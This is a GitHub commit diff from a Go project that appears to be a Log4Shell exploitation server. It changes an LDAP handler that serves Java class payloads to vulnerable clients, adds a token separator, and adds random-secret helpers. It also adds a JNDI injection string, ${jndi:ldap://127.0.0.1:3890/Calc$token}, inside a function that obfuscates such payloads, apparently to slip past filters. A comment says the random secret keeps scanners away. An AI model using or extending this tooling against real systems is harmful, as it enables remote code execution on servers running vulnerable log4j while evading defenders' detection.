Skip to content

Commit e2ae951

Browse files
committed
change token split symbol, improve Obfuscate, update random.
1 parent f385ced commit e2ae951

File tree

5 files changed

+96
-72
lines changed

5 files changed

+96
-72
lines changed

autocert_test.go

Lines changed: 52 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -1,64 +1,54 @@
11
package log4shell
22

3-
import (
4-
"crypto/tls"
5-
"fmt"
6-
"net/http"
7-
"testing"
8-
9-
"github.com/stretchr/testify/require"
10-
"golang.org/x/crypto/acme/autocert"
11-
)
12-
13-
func TestNewListener(t *testing.T) {
14-
const testDomain = "test"
15-
16-
mux := http.NewServeMux()
17-
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
18-
fmt.Fprintf(w, "Hello, TLS user! Your config: %+v", r.TLS)
19-
})
20-
server := http.Server{}
21-
server.Handler = mux
22-
go func() {
23-
24-
http.DefaultClient.Transport = &http.Transport{}
25-
26-
listener := autocert.NewListener(testDomain)
27-
conn, err := listener.Accept()
28-
require.NoError(t, err)
29-
30-
buf := make([]byte, 4096)
31-
n, err := conn.Read(buf)
32-
fmt.Println("err:", err)
33-
fmt.Println(string(buf[:n]))
34-
35-
fmt.Println(conn.RemoteAddr())
36-
37-
// log.Fatal(server.Serve(autocert.NewListener("example.com")))
38-
}()
39-
40-
cfg := tls.Config{
41-
ServerName: testDomain,
42-
}
43-
44-
client := http.Client{
45-
Transport: &http.Transport{
46-
TLSClientConfig: &cfg,
47-
},
48-
}
49-
50-
req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:443/", nil)
51-
require.NoError(t, err)
52-
req.Host = testDomain
53-
54-
resp, err := client.Do(req)
55-
require.NoError(t, err)
56-
57-
fmt.Println(resp.StatusCode)
58-
59-
// conn, err := tls.Dial("tcp", "127.0.0.1:443", &cfg)
60-
// require.NoError(t, err)
61-
//
62-
// _, err = conn.Write([]byte{1, 2, 3, 4})
63-
// require.NoError(t, err)
64-
}
3+
// func TestNewListener(t *testing.T) {
4+
// const testDomain = "test"
5+
//
6+
// mux := http.NewServeMux()
7+
// mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
8+
// fmt.Fprintf(w, "Hello, TLS user! Your config: %+v", r.TLS)
9+
// })
10+
// server := http.Server{}
11+
// server.Handler = mux
12+
// go func() {
13+
//
14+
// http.DefaultClient.Transport = &http.Transport{}
15+
//
16+
// listener := autocert.NewListener(testDomain)
17+
// conn, err := listener.Accept()
18+
// require.NoError(t, err)
19+
//
20+
// buf := make([]byte, 4096)
21+
// n, err := conn.Read(buf)
22+
// fmt.Println("err:", err)
23+
// fmt.Println(string(buf[:n]))
24+
//
25+
// fmt.Println(conn.RemoteAddr())
26+
//
27+
// // log.Fatal(server.Serve(autocert.NewListener("example.com")))
28+
// }()
29+
//
30+
// cfg := tls.Config{
31+
// ServerName: testDomain,
32+
// }
33+
//
34+
// client := http.Client{
35+
// Transport: &http.Transport{
36+
// TLSClientConfig: &cfg,
37+
// },
38+
// }
39+
//
40+
// req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:443/", nil)
41+
// require.NoError(t, err)
42+
// req.Host = testDomain
43+
//
44+
// resp, err := client.Do(req)
45+
// require.NoError(t, err)
46+
//
47+
// fmt.Println(resp.StatusCode)
48+
//
49+
// // conn, err := tls.Dial("tcp", "127.0.0.1:443", &cfg)
50+
// // require.NoError(t, err)
51+
// //
52+
// // _, err = conn.Write([]byte{1, 2, 3, 4})
53+
// // require.NoError(t, err)
54+
// }

ldap.go

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -39,24 +39,24 @@ func (h *ldapHandler) handleSearch(w ldapserver.ResponseWriter, m *ldapserver.Me
3939
dn := string(req.BaseObject())
4040

4141
// check class name has token
42-
if strings.Contains(dn, "_") {
42+
if strings.Contains(dn, "$") {
4343
// parse token
44-
sections := strings.SplitN(dn, "_", 2)
44+
sections := strings.SplitN(dn, "$", 2)
4545
class := sections[0]
4646
if class == "" {
4747
h.logger.Printf("[warning] %s search invalid java class \"%s\"", addr, dn)
48-
h.sendError(w)
48+
h.sendErrorResult(w)
4949
return
5050
}
5151
// check token is already exists
5252
token := sections[1]
5353
if token == "" {
5454
h.logger.Printf("[warning] %s search java class with invalid token \"%s\"", addr, dn)
55-
h.sendError(w)
55+
h.sendErrorResult(w)
5656
return
5757
}
5858
if !h.checkToken(token) {
59-
h.sendError(w)
59+
h.sendErrorResult(w)
6060
return
6161
}
6262
dn = class
@@ -68,12 +68,12 @@ func (h *ldapHandler) handleSearch(w ldapserver.ResponseWriter, m *ldapserver.Me
6868
fi, err := os.Stat(filepath.Join(h.payloadDir, dn+".class"))
6969
if err != nil {
7070
h.logger.Printf("[error] %s failed to search java class \"%s\": %s", addr, dn, err)
71-
h.sendError(w)
71+
h.sendErrorResult(w)
7272
return
7373
}
7474
if fi.IsDir() {
7575
h.logger.Printf("[error] %s searched java class \"%s\" is a directory", addr, dn)
76-
h.sendError(w)
76+
h.sendErrorResult(w)
7777
return
7878
}
7979

@@ -108,7 +108,7 @@ func (h *ldapHandler) checkToken(token string) bool {
108108
return true
109109
}
110110

111-
func (h *ldapHandler) sendError(w ldapserver.ResponseWriter) {
111+
func (h *ldapHandler) sendErrorResult(w ldapserver.ResponseWriter) {
112112
done := ldapserver.NewSearchResultDoneResponse(ldapserver.LDAPResultNoSuchObject)
113113
w.Write(done)
114114
}

log4shell.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,7 @@ func New(cfg *Config) (*Server, error) {
110110

111111
// generate random string and add it to the http handler
112112
// for prevent some http spider or exploit server scanner
113-
secret := randString(8)
113+
secret := randSecret()
114114

115115
// initialize http server
116116
httpListener, err := net.Listen(cfg.HTTPNetwork, cfg.HTTPAddress)

obfuscate.go

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,10 +32,11 @@ func Obfuscate(raw string, token bool) (string, string) {
3232
// add token to the end of class name
3333
var rwt string // raw with token
3434
if token {
35+
// ${jndi:ldap://127.0.0.1:3890/Calc$token}
3536
front := raw[:len(raw)-1]
3637
token := randString(16)
3738
last := string(raw[len(raw)-1])
38-
raw = fmt.Sprintf("%s_%s%s", front, token, last)
39+
raw = fmt.Sprintf("%s$%s%s", front, token, last)
3940

4041
rwt = raw
4142
l = len(raw)

rand.go

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,39 @@ func randBool() bool {
1414
}
1515

1616
func randString(n int) string {
17+
str := make([]rune, n)
18+
for i := 0; i < n; i++ {
19+
s := ' ' + 1 + rand.Intn(90) // #nosec
20+
switch {
21+
case s >= '0' && s <= '9':
22+
case s >= 'A' && s <= 'Z':
23+
case s >= 'a' && s <= 'z':
24+
case isValidSymbol(s):
25+
default:
26+
i--
27+
continue
28+
}
29+
str[i] = rune(s)
30+
}
31+
return string(str)
32+
}
33+
34+
func isValidSymbol(s int) bool {
35+
switch s {
36+
case '(', ')':
37+
case '*', '.':
38+
case '$', '_':
39+
case '[', ']':
40+
case '@', '=':
41+
default:
42+
return false
43+
}
44+
return true
45+
}
46+
47+
func randSecret() string {
48+
const n = 8
49+
1750
str := make([]rune, n)
1851
for i := 0; i < n; i++ {
1952
s := ' ' + 1 + rand.Intn(90) // #nosec

0 commit comments

Comments
 (0)